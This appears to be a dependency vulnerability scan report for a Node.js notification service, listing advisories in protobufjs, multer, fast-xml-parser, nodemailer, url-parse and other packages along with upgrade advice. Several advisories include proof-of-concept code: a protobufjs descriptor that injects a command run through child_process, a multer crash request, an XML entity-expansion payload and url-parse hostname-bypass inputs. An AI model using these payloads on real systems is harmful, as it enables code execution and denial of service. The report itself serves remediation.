Vulnerabilities |
34 via 41 paths |
|---|---|
Dependencies |
539 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Arbitrary Code Injection through the handling of user-supplied protobuf definitions, specifically via the Type's name field. An attacker can execute arbitrary JavaScript code by injecting malicious payloads into the protobuf definition, which are then executed during object decoding.
Notes:
- The vulnerability was introduced during the migration to codegen 2 where sanitization of the type name was modified.
- Additional security measures were introduced in
@protobufjs/codegen@2.0.5, which could hinder exploitation on vulnerable versions.
PoC
const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X","id":2}}},"Data(){console['log'](process['mainModule']['require']('child_process')['execSync']('id')['toString']())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
const user = UserType.decode(userBytes);
} catch (e) {}```
## Remediation
Upgrade `protobufjs` to version 6.11.6, 7.5.5, 8.0.1 or higher.
## References
- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg)
- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956)
critical severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.0.1.
Overview
Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.
Remediation
Upgrade multer to version 2.0.1 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/storage@6.12.0 › fast-xml-parser@4.5.6Remediation: Upgrade to firebase-admin@12.0.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.
Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade fast-xml-parser to version 5.5.6 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.1.0.
Overview
Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade multer to version 2.1.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.
Note:
This is only exploitable if the server is handling file uploads.
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.1.0.
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the makeMiddleware() function, when dropping a connection during file upload. An attacker can cause resource exhaustion.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade multer to version 2.1.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.0.0.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.
PoC
const express = require('express')
const multer = require('multer')
const http = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888
const app = express()
app.post('/upload', upload.single('file'), function (req, res) {
res.send({})
})
app.listen(port, () => {
console.log(`Listening on port ${port}`)
const boundary = 'AaB03x'
const body = [
'--' + boundary,
'Content-Disposition: form-data; name="file"; filename="test.txt"',
'Content-Type: text/plain',
'',
'test without end boundary'
].join('\r\n')
const options = {
hostname: 'localhost',
port,
path: '/upload',
method: 'POST',
headers: {
'content-type': 'multipart/form-data; boundary=' + boundary,
'content-length': body.length,
}
}
const req = http.request(options, (res) => {
console.log(res.statusCode)
})
req.on('error', (err) => {
console.error(err)
})
req.write(body)
req.end()
})
Remediation
Upgrade multer to version 2.0.0 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.0.2.
Overview
Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.
Remediation
Upgrade multer to version 2.0.2 or higher.
References
high severity
- Vulnerable module: multer
- Introduced through: multer@1.4.5-lts.2
Detailed paths
-
Introduced through: notification@haniot/notification › multer@1.4.5-lts.2Remediation: Upgrade to multer@2.1.1.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion. An attacker can cause the application to crash or become unresponsive by sending malformed requests that trigger uncontrolled recursion, potentially leading to a stack overflow.
Remediation
Upgrade multer to version 2.1.1 or higher.
References
high severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Arbitrary Code Injection in the toObject function when handling a schema-controlled bytes field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a bytes field, which is then used in the generated conversion function.
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
high severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Arbitrary Code Injection via the pbjs static code generation. An attacker can execute arbitrary code by providing crafted schema names that are incorporated into generated JavaScript output, which is then executed or imported by the application or build process.
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
high severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Uncontrolled Recursion through unbounded recursion when decoding nested message fields. An attacker can exhaust the call stack and cause the application to crash by supplying specially crafted protobuf binary data containing deeply nested structures.
Workaround
This vulnerability can be mitigated by rejecting excessively nested messages at an outer protocol boundary or isolating protobuf decoding in a process that can be safely restarted.
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
high severity
new
- Vulnerable module: protobufjs-cli
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs-cli@1.1.1
Overview
protobufjs-cli is a Translates between file formats and generates static code as well as TypeScript definitions.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the pbjs static code generation. An attacker can execute arbitrary code by providing crafted schema names that are incorporated into generated JavaScript output, which is then executed or imported by the application or build process.
Remediation
Upgrade protobufjs-cli to version 1.2.1, 2.0.2 or higher.
References
high severity
new
- Vulnerable module: protobufjs-cli
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs-cli@1.1.1
Overview
protobufjs-cli is a Translates between file formats and generates static code as well as TypeScript definitions.
Affected versions of this package are vulnerable to Uncontrolled Recursion through unbounded recursion when decoding nested message fields. An attacker can exhaust the call stack and cause the application to crash by supplying specially crafted protobuf binary data containing deeply nested structures.
Workaround
This vulnerability can be mitigated by rejecting excessively nested messages at an outer protocol boundary or isolating protobuf decoding in a process that can be safely restarted.
Remediation
Upgrade protobufjs-cli to version 1.2.1, 2.0.2 or higher.
References
high severity
new
- Vulnerable module: protobufjs-cli
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs-cli@1.1.1
Overview
protobufjs-cli is a Translates between file formats and generates static code as well as TypeScript definitions.
Affected versions of this package are vulnerable to Command Injection via pbts. An attacker can execute arbitrary shell commands by supplying file paths containing shell metacharacters, which are interpreted by the shell when the process constructs and executes a command string.
Remediation
Upgrade protobufjs-cli to version 1.2.1, 2.0.2 or higher.
References
high severity
- Vulnerable module: fast-xml-parser
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/storage@6.12.0 › fast-xml-parser@4.5.6Remediation: Upgrade to firebase-admin@12.0.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.
Note:
This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Remediation
Upgrade fast-xml-parser to version 5.5.7 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1 and email-templates@10.0.1
Detailed paths
-
Introduced through: notification@haniot/notification › nodemailer@6.10.1Remediation: Upgrade to nodemailer@7.0.11.
-
Introduced through: notification@haniot/notification › email-templates@10.0.1 › nodemailer@6.10.1Remediation: Upgrade to email-templates@13.0.0.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.
Remediation
Upgrade nodemailer to version 7.0.11 or higher.
References
high severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Improper Input Validation due to improper fix of CVE-2020-8124 , it is possible to be exploited via the \b (backspace) character.
PoC:
const parse = require('./index.js')
url = parse('\bhttp://google.com')
console.log(url)
Output:
{
slashes: false,
protocol: '',
hash: '',
query: '',
pathname: '\bhttp://google.com',
auth: '',
host: '',
port: '',
hostname: '',
password: '',
username: '',
origin: 'null',
href: '\bhttp://google.com'
}
Remediation
Upgrade url-parse to version 1.5.9 or higher.
References
high severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Prototype Pollution in the code generation. An attacker who has achieved prototype pollution by a different exploit can execute arbitrary JavaScript code by polluting Object.prototype prior to invoking the affected process.
Note: This is only exploitable if the application uses protobufjs functionality that generates encode or decode code for affected types.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1 and email-templates@10.0.1
Detailed paths
-
Introduced through: notification@haniot/notification › nodemailer@6.10.1Remediation: Upgrade to nodemailer@8.0.5.
-
Introduced through: notification@haniot/notification › email-templates@10.0.1 › nodemailer@6.10.1
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.
Remediation
Upgrade nodemailer to version 8.0.5 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@6.10.1 and email-templates@10.0.1
Detailed paths
-
Introduced through: notification@haniot/notification › nodemailer@6.10.1Remediation: Upgrade to nodemailer@7.0.7.
-
Introduced through: notification@haniot/notification › email-templates@10.0.1 › nodemailer@6.10.1Remediation: Upgrade to email-templates@13.0.0.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.
Remediation
Upgrade nodemailer to version 7.0.7 or higher.
References
medium severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions when handling field names containing control characters in schemas or JSON descriptors. An attacker can cause runtime errors and disrupt application functionality by supplying crafted schemas or descriptors that trigger syntax errors during code generation.
Note: This is only exploitable if the application loads untrusted schemas or descriptors and performs operations that trigger code generation, such as encode, decode, verify, fromObject, or toObject.
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
medium severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in the decoding of overlong UTF-8 strings. An attacker can bypass application-level byte filtering or validation by sending malicious sequences that decode to canonical characters. This is only exploitable if the application decodes protobuf binary data using the minimal UTF-8 decoder and relies on byte-level filtering before string decoding.
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2, 8.0.3, 8.2.0 or higher.
References
medium severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Uncontrolled Recursion through the Root.fromJSON or Namespace.addJSON functions. An attacker can cause resource exhaustion and disrupt service availability by submitting a crafted JSON descriptor with deeply nested namespace definitions.
Note:
This is only exploitable if all of the following conditions are met:
The application must load JSON descriptor data influenced by an attacker.
The crafted descriptor must contain deeply nested nested namespace objects.
The affected
Root.fromJSON()/Namespace.addJSON()descriptor expansion path must process the crafted input.
Remediation
Upgrade protobufjs to version 7.5.8, 8.2.0 or higher.
References
medium severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Access Restriction Bypass due to improper parsing process, that may lead to incorrect handling of authentication credentials and hostname, which allows bypass of hostname validation.
PoC:
// PoC.js
var parse = require('url-parse')
var cc=parse("http://admin:password123@@127.0.0.1")
//Output:
{ slashes: true,
protocol: 'http:',
hash: '',
query: '',
pathname: '/',
auth: 'admin:password123',
host: '@127.0.0.1',
port: '',
hostname: '@127.0.0.1',
password: 'password123',
username: 'admin',
origin: 'http://@127.0.0.1',
href: 'http://admin:password123@@127.0.0.1/' }
Remediation
Upgrade url-parse to version 1.5.6 or higher.
References
medium severity
- Vulnerable module: url-parse
- Introduced through: amqp-client-node@1.0.11
Detailed paths
-
Introduced through: notification@haniot/notification › amqp-client-node@1.0.11 › amqplib@0.5.6 › url-parse@1.4.7
Overview
url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.
Affected versions of this package are vulnerable to Authorization Bypass via the hostname field of a parsed URL, because "url-parse" is unable to find the correct hostname when no port number is provided in the URL.
PoC:
var Url = require('url-parse');
var PAYLOAD = "http://example.com:";
console.log(Url(PAYLOAD));
// Expected hostname: example.com
// Actual hostname by url-parse: example.com:
Output:
{
slashes: true,
protocol: 'http:',
hash: '',
query: '',
pathname: '/',
auth: '',
host: 'example.com:',
port: '',
hostname: 'example.com:',
password: '',
username: '',
origin: 'http://example.com:',
href: 'http://example.com:/'
}
Remediation
Upgrade url-parse to version 1.5.8 or higher.
References
medium severity
new
- Vulnerable module: protobufjs
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs@7.2.4Remediation: Upgrade to firebase-admin@12.0.0.
Overview
protobufjs is a protocol buffer for JavaScript (& TypeScript).
Affected versions of this package are vulnerable to Prototype Pollution in the process of copying enumerable properties from a user-supplied object to a generated message instance without filtering the __proto__ property. An attacker can alter the prototype of individual message instances by supplying an object containing an own enumerable __proto__ property.
Note: This is only exploitable if the application allows plain objects to be passed to message constructors or creation helpers that copy arbitrary enumerable properties.
Workaround
This vulnerability can be mitigated by validating or sanitizing Object.keys before constructing messages and rejecting objects containing the __proto__ property.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: firebase-admin@11.11.1 and email-templates@10.0.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › uuid@9.0.1Remediation: Upgrade to firebase-admin@13.0.0.
-
Introduced through: notification@haniot/notification › email-templates@10.0.1 › preview-email@3.1.3 › uuid@9.0.1
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/storage@6.12.0 › teeny-request@8.0.3 › uuid@9.0.1
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/storage@6.12.0 › uuid@8.3.2
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: firebase-admin@11.11.1
Detailed paths
-
Introduced through: notification@haniot/notification › firebase-admin@11.11.1 › @google-cloud/firestore@6.8.0 › google-gax@3.6.1 › protobufjs-cli@1.1.1 › glob@8.1.0 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
